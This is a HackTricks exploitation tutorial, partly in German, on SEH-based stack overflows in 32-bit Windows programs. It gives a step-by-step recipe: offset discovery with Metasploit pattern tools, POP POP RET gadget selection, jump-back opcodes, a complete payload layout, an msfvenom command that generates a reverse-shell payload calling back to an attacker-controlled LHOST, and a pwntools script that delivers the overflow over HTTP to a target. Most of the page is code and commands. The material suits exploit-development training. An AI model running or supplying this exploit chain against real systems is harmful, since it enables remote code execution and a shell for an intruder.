Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

SEH-based exploitation ist eine klassische x86 Windows-Technik, die die auf dem Stack gespeicherte Structured Exception Handler-Kette ausnutzt. Wenn ein Stack-Buffer-Overflow die beiden 4-Byte-Felder überschreibt

  • nSEH: pointer to the next SEH record, und
  • SEH: pointer to the exception handler function

kann ein Angreifer die Ausführung übernehmen durch:

  1. Setzen von SEH auf die Adresse eines POP POP RET gadget in einem nicht-geschützten Modul, so dass beim Dispatchen einer Exception das Gadget in angreifer-kontrollierte Bytes zurückkehrt, und
  2. Verwenden von nSEH, um die Ausführung umzuleiten (typischerweise ein kurzer Sprung) zurück in den großen überlaufenden Buffer, in dem sich Shellcode befindet.

Diese Technik ist spezifisch für 32-Bit-Prozesse (x86). Auf modernen Systemen bevorzugt man ein Modul ohne SafeSEH und ASLR für das Gadget. Bad characters beinhalten oft 0x00, 0x0a, 0x0d (NUL/CR/LF) aufgrund von C-strings und HTTP-Parsing.


Finding exact offsets (nSEH / SEH)

  • Lasse den Prozess abstürzen und überprüfe, dass die SEH-Kette überschrieben ist (z. B. in x32dbg/x64dbg, check the SEH view).
  • Sende ein cyclic pattern als überlaufende Daten und berechne die Offsets der beiden dwords, die in nSEH und SEH landen.

Example with peda/GEF/pwntools on a 1000-byte POST body:

bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"

# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163   # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
# ➜ offsets example: nSEH=660, SEH=664

Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible.


Choosing a POP POP RET (SEH gadget)

Du brauchst eine POP POP RET-Sequenz, um den SEH-Frame aufzulösen und in deine nSEH-Bytes zurückzukehren. Finde sie in einem Modul ohne SafeSEH und idealerweise ohne ASLR:

  • Mona (Immunity/WinDbg): !mona modules then !mona seh -m modulename.
  • x64dbg plugin ERC.Xdbg: ERC --SEH to list POP POP RET gadgets and SafeSEH status.

Wähle eine Adresse, die keine badchars enthält, wenn sie little-endian geschrieben wird (z. B. p32(0x004094D8)). Bevorzuge Gadgets innerhalb des vulnerable binary, wenn die Schutzmechanismen das erlauben.


Jump-back technique (short + near jmp)

nSEH is only 4 bytes, which fits at most a 2-byte short jump (EB xx) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.

With nasmshell:

text
nasm> jmp -660           ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8       ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF

Layout-Idee für eine 1000-byte payload mit nSEH bei Offset 660:

python
buffer_length = 1000
payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload))           # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE"     # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))

Ablauf der Ausführung:

  • Es tritt eine Exception auf, der Dispatcher verwendet die überschriebenen SEH.
  • POP POP RET sorgt für das Unwinden und führt so zur Ausführung unseres nSEH.
  • nSEH führt jmp short -8 in den 5-Byte near jump aus.
  • Der near jump landet am Anfang unseres Buffers, wo der NOP sled + shellcode liegen.

Bad characters

Erstelle einen vollständigen badchar-String und vergleiche den Stack-Speicher nach dem Crash, entferne Bytes, die vom Zielparser verfälscht werden. Bei HTTP-basierten Overflows sind \x00\x0a\x0d fast immer ausgeschlossen.

python
badchars = bytes([x for x in range(1,256)])
payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case

Shellcode generation (x86)

Verwende msfvenom mit deinen badchars. Ein kleines NOP sled hilft, Positionsabweichungen zu tolerieren.

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc

Wenn man es on the fly generiert, ist das hex-Format praktisch, um es in Python einzubetten und zu unhexen:

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex

Senden über HTTP (präzise CRLF + Content-Length)

Wenn der verwundbare Angriffsvektor der HTTP-Request-Body ist, erstelle eine rohe Anfrage mit exakt passenden CRLFs und korrekter Content-Length, damit der Server den gesamten überlaufenden Body liest.

python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000  # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close

""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()

Werkzeuge

  • x32dbg/x64dbg, um die SEH-Kette zu beobachten und den Crash zu analysieren.
  • ERC.Xdbg (x64dbg plugin), um SEH-Gadgets aufzulisten: ERC --SEH.
  • Mona als Alternative: !mona modules, !mona seh.
  • nasmshell, um short/near jumps zu assemblieren und rohe opcodes zu kopieren.
  • pwntools, um präzise Netzwerk-Payloads zu erstellen.

Hinweise und Einschränkungen

  • Gilt nur für x86-Prozesse. x64 verwendet ein anderes SEH-Schema und SEH-basierte Exploitation ist generell nicht praktikabel.
  • Bevorzuge Gadgets in Modulen ohne SafeSEH und ASLR; andernfalls finde ein ungeschütztes Modul, das im Prozess geladen ist.
  • Service-Watchdogs, die bei einem Crash automatisch neu starten, können die iterative Exploit-Entwicklung erleichtern.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks